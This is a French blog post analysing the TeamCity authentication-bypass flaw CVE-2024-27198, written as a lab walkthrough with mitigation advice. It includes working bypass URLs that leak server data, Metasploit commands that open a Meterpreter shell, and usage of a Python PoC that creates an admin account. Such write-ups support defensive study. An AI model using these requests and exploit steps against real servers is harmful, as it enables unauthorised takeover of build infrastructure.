CVE-2024-27198 : JetBrains TeamCity - Analyse et PoC

CVE-2024-27198 : JetBrains TeamCity  - Analyse et PoC

Une vulnérabilité critique d’authentification a été découverte dans JetBrains TeamCity, identifiée sous la référence CVE-2024-27198. Cette faille compromet gravement la sécurité des serveurs exploitant ce système d’intégration continue. L’exploitation de cette faille permet à un attaquant non authentifié de forcer l’accès à l’API REST et de générer un jeton d’administration. Ce dernier confère la capacité d’injecter un plugin malicieux incluant un payload Metasploit, débouchant sur une exécution de code à distance (RCE) sur le serveur TeamCity visé.

Systèmes et versions impactés

  • JetBrains TeamCity : Versions antérieures à 2023.11.4

Analyse Technique

Dans les versions récentes de TeamCity, où les points de terminaison de débogage (/app/rest/debug/process) ont été retirés, l’attaque s’articule autour de l’utilisation de plugins comme vecteur d’exécution de code. En revanche, sur les versions plus anciennes de TeamCity, où les jetons d’accès n’existent pas, l’exploit se concentre sur la création d’un compte administrateur avant le téléversement d’un plugin. L’ancien point de terminaison de débogage dans ces versions antérieures permet l’exécution de commandes arbitraires, ce qui souligne la portée et la variabilité de l’attaque selon la version du logiciel en cours d’exécution.

Pour extraire des informations sensibles, on peut exploiter une vulnérabilité dans le traitement des requêtes par la classe jetbrains.buildServer.controllers.BaseController. L’accès à l’URL <TeamCity_BaseURL>/Octo?jsp=/app/rest/server;.jsp dévoile des détails sur le serveur, y compris sa version précise.

Affichage de la version du serveur
Affichage de la version du serveur

Pour une analyse plus approfondie, l’URL <TeamCity_BaseURL>/Octo?jsp=/app/rest/debug/jvm/systemProperties;.jsp révèle une multitude d’informations système.

Mine d'or d'informations système
Mine d'or d'informations système

Proof of Concept (PoC)

Lab Setup

Installation via Docker

docker pull jetbrains/teamcity-server:2023.11.3

docker run -it -d --name teamcity -u root -p 8111:8111 jetbrains/teamcity-server:2023.11.3

Installation via l’installateur

Téléchargements directs

TeamCity Downloads

Configuration

Suivez les instructions spécifiques à votre système d’exploitation pour l’installation. Sur Linux, par exemple, il suffit de décompresser le dossier et d’exécuter la commande ./bin/runAll.sh start depuis le répertoire de TeamCity.

Java doit être préinstallé pour exécuter TeamCity. Si votre distribution ne l’inclut pas, sur Ubuntu, utilisez sudo apt install default-jre.

TeamCity First Start
TeamCity First Start

Les options par défaut de configuration de TeamCity sont généralement correctes. Après avoir suivi les directives de configuration initiale, il ne reste plus qu’à créer un compte administratif pour finaliser la préparation.

Déroulement de l’attaque

Via le module de Metasploit

Si vous avez laissé les options par défaut, tout ce que vous aurez à faire est de configurer l’adresse IP de la machine “Victime” après avoir sélectionné l’exploit.

use exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198
set rhosts <VICTIM_IP>
run
Déroulement de l'attaque Metasploit
Déroulement de l'attaque Metasploit

On obtient alors un shell Meterpreter !

POC en Python

Je ne pouvais pas me contenter de simplement utiliser le module de Metasploit, j’ai conçu un Proof of Concept en Python. Ce script détecte la version de TeamCity, extrait les informations du système d’exploitation de la machine cible et crée un utilisateur avec des droits administrateur.

Menu d'aide du script
Menu d'aide du script

Pour l’utiliser, exécutez python POC_CVE-2024-27198.py --target http://192.168.130.100:8111

Exécution du PoC
Exécution du PoC
La librairie “Requests” est nécessaire pour exécuter ce script. Installez-la avec pip install requests sur Ubuntu.

Impact et Mitigation

La capacité à exécuter du code à distance sans authentification présente un risque élevé pour toute organisation dépendant de TeamCity pour son intégration et déploiement continu. Une réaction rapide est cruciale pour atténuer cette vulnérabilité. Les utilisateurs sont fortement conseillés de mettre à jour vers la dernière version de TeamCity et de revoir leurs droits d’accès API, en invalidant tout jeton suspect et en surveillant activement les signes d’une activité malveillante.

Pour plus d’informations techniques sur cette vulnérabilité, je recommande fortement l’article suivant de rapid7: CVE-2024-27198 and CVE-2024-27199: JetBrains TeamCity Multiple Authentication Bypass Vulnerabilities

Références